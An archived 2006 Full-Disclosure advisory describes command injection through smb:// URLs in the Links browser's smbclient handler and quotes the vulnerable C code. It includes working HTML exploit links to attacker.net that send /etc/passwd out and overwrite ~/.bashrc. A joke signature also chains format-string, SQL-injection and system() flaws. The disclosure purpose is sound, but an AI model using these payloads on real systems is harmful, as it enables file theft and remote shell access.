linkssmbclient.txt
Posted on 16 November 2006
Links smbclient command execution ----------------------------------------------------------------------------- There is a flaw in the Links web browser, that allows malicious web sites to execute smbclient commands on the victim's machine. This flaw makes it possible to read any file from the victim system (any file that the user running links has read access), or to upload any file to the victim system (any file that the user running links can create/overwrite). The attacker could, for example, upload ~/.bashrc to gain shell access. Version numbers: ----------------------------------------------------------------------------- I tested this on Ubuntu 6.06 LTS and Links 1.00pre12. Smbclient must also be installed. Vulnerable code: ----------------------------------------------------------------------------- smb_func() in smb.c: ... 143 if (*share) { 144 if (!*dir || dir[strlen(dir) - 1] == '/' || dir[strlen(dir) - 1] == '\') { 145 if (dir) { 146 v[n++] = "-D"; 147 v[n++] = dir; 148 } 149 v[n++] = "-c"; 150 v[n++] = "ls"; 151 } else { 152 unsigned char *ss; 153 unsigned char *s = stracpy("get ""); 'dir' is the directory part of the smb://.. url: 154 add_to_strn(&s, dir); 155 add_to_strn(&s, "" -"); 156 while ((ss = strchr(s, '/'))) *ss = '\'; 157 v[n++] = "-c"; 158 v[n++] = s; 159 } 160 } 161 v[n++] = NULL; smbclient is executed: 162 execvp("smbclient", (char **)v); 163 fprintf(stderr, "smbclient not found in $PATH"); 164 _exit(1); ... Exploit: ----------------------------------------------------------------------------- <html> <a href='smb://attacker.net/work/XXX" YYY; lcd ..; lcd ..; lcd ..; lcd etc; put passwd ; exit; '>Put /etc/passwd</a> <a href='smb://attacker.net/work/XXX" YYY; lcd ..; lcd ..; lcd ..; lcd home; lcd teemu; get HOHO .bashrc; exit; '>Get .bashrc</a> </html> -- fscanf(socket,"%s",buf); printf(buf); sprintf(query, "SELECT %s FROM table", buf); sprintf(cmd, "echo %s | sqlquery", query); system(cmd); Teemu Salmela _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
